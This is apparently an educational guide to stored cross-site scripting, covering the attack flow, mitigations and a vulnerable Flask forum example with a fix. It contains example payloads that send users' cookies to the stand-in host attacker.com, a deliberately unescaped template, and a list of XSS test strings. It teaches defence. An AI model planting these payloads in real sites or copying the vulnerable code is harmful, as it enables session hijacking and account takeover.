Understanding Stored XSS
Stored Cross-Site Scripting (XSS), also known as Persistent XSS, occurs when a web application saves malicious user input and later displays it to other users without proper sanitization or escaping. Unlike reflected XSS, the malicious payload persists in the application's database, making it particularly dangerous as it can affect multiple users across different sessions. Attackers exploit this vulnerability to execute arbitrary scripts in victims' browsers, leading to session hijacking, data theft, account takeover, or site defacement.
Key Points
- Persistence: Malicious scripts are stored in databases or file systems and execute every time the data is displayed
- Wide impact: A single injection can affect multiple users who view the compromised content
- High severity: Considered one of the most dangerous web vulnerabilities due to its persistent nature
- Common targets: User profiles, comments, reviews, messages, and any feature displaying user-generated content
How Stored XSS Works
The vulnerability arises when applications fail to properly validate, sanitize, or escape user input before storage and display. The attack follows a three-stage process:
Attack Flow
- Injection: An attacker submits malicious input (typically JavaScript) through a vulnerable form, comment field, or other input mechanism
- Storage: The application saves the unsanitized input to a database, file system, or other persistent storage
- Execution: When other users load pages containing the stored data, their browsers interpret and execute the malicious script
Real-World Example: An attacker posts a forum comment containing
<script>fetch('https://attacker.com/steal?cookie=' + document.cookie);</script>. When other users view the thread, their session cookies are automatically sent to the attacker's server, enabling account takeover.
Common Attack Vectors
Stored XSS typically exploits features that store and display user-generated content:
| Feature | Example | Potential Impact |
|---|---|---|
| User profiles | Bio, "About Me", or description fields | Account takeover via session theft |
| Comments/Reviews | Blog comments, product reviews, forum posts | Malware distribution, phishing |
| Private messages | Webmail, chat applications, direct messages | Credential harvesting, data exfiltration |
| File uploads | Image metadata (EXIF), document properties | Persistent payload delivery |
| Search queries | Stored search history displayed to users | Session hijacking |
| Configuration settings | Custom themes, signatures, preferences | Administrative access compromise |
Mitigation Strategies
Defending against stored XSS requires a defense-in-depth approach with multiple layers of protection:
Input Validation & Sanitization
Validate at the server level (never rely solely on client-side validation):
- Whitelist validation: Define and enforce allowed characters for each input type (e.g., alphanumeric only for usernames)
- Reject dangerous patterns: Block or strip
<script>,javascript:,onerror=,onclick=, and similar attack vectors - Length restrictions: Enforce reasonable maximum lengths to limit payload complexity
- Use sanitization libraries: Implement proven tools like DOMPurify, OWASP ESAPI, or Bleach
Output Escaping
Apply context-aware escaping based on where data is rendered:
| Context | Escaping Method | Example |
|---|---|---|
| HTML body | Convert special characters | < → <, > → >, & → & |
| HTML attributes | Quote and escape | " → ", ' → ' |
| JavaScript | Use hex encoding | < → \x3C, " → \x22 |
| URLs | Percent encoding | Use encodeURIComponent() |
| CSS | Escape special characters | Avoid user input in CSS when possible |
Framework-specific protections:
- React: Use
{}for automatic escaping (avoiddangerouslySetInnerHTML) - Angular: Use
{{}}for interpolation (avoid bypassing sanitizer) - Vue: Use
{{ }}for text interpolation (usev-htmlonly with sanitized content) - Django: Use
{{ variable }}(auto-escapes by default)
Additional Security Controls
Content Security Policy (CSP):
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'
This header prevents inline scripts and restricts resource loading to trusted sources.
HTTP-only and Secure cookies:
Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict
Prevents JavaScript access to session cookies, mitigating cookie theft.
Additional safeguards:
- Regular security audits: Use automated scanners like OWASP ZAP, Burp Suite, or Acunetix
- Security headers: Implement
X-Content-Type-Options: nosniffandX-Frame-Options: DENY - Input encoding: Store data in a safe format and decode only when necessary
- Principle of least privilege: Limit what authenticated scripts can access
Critical Reminder: Defense must occur on the server side. Client-side validation can be bypassed and should only be used for user experience, not security.
Practical Example: Vulnerable Forum
The Vulnerability
A forum application stores user posts directly in a database without sanitization:
# Vulnerable code (Python/Flask)
@app.route('/post', methods=['POST'])
def create_post():
content = request.form['content'] # No sanitization
db.execute("INSERT INTO posts (content) VALUES (?)", (content,))
return redirect('/forum')
@app.route('/forum')
def view_forum():
posts = db.execute("SELECT content FROM posts")
return render_template('forum.html', posts=posts)
<!-- Vulnerable template -->
<div class="post">
{{ post.content | safe }} <!-- Disables escaping! -->
</div>
The Attack
An attacker submits:
<img src=x onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)">
When other users view the forum, their cookies are stolen.
The Fix
# Secure code
from markupsafe import escape
@app.route('/post', methods=['POST'])
def create_post():
content = request.form['content']
# Validate length and reject obvious attacks
if len(content) > 5000 or '<script' in content.lower():
return "Invalid input", 400
db.execute("INSERT INTO posts (content) VALUES (?)", (content,))
return redirect('/forum')
<!-- Secure template (auto-escaping enabled) -->
<div class="post">
{{ post.content }} <!-- Automatically escaped -->
</div>
Testing for Stored XSS
Manual Testing Payloads
Try these test strings in input fields:
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
javascript:alert('XSS')
<iframe src="javascript:alert('XSS')">
Automated Testing Tools
- OWASP ZAP: Free, open-source web application security scanner
- Burp Suite: Professional testing platform with XSS detection
- Acunetix: Commercial scanner with comprehensive XSS coverage
- Nikto: Web server scanner that identifies common vulnerabilities
Learn More
Essential Resources
- OWASP XSS Prevention Cheat Sheet - Comprehensive prevention guide
- PortSwigger Web Security Academy: Stored XSS - Interactive labs and tutorials
- [